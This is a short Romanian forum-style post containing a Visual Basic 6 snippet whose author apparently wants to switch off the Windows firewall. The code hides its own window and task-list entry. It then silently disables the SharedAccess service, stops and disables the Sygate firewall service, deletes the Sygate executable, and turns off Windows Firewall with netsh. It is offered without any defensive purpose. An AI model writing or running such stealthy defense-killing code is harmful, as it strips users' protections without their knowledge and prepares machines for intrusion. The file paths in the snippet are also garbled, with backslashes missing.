Din pacate pentru firewallu de la windowsu nu am gasit un fisier ca sa il setrg sa nu mai mearga. Private Sub Form_Load() App.TaskVisible = False Me.Visible = False Shell "sc config sharedaccess start= disabled", vbHide Shell "net stop smcservice", vbHide Shell "sc config smcservice start= disabled", vbHide Kill "C:Program FilesSygateSPFsmc.exe" Shell "netsh firewall set opmode mode = disable", vbHide End Sub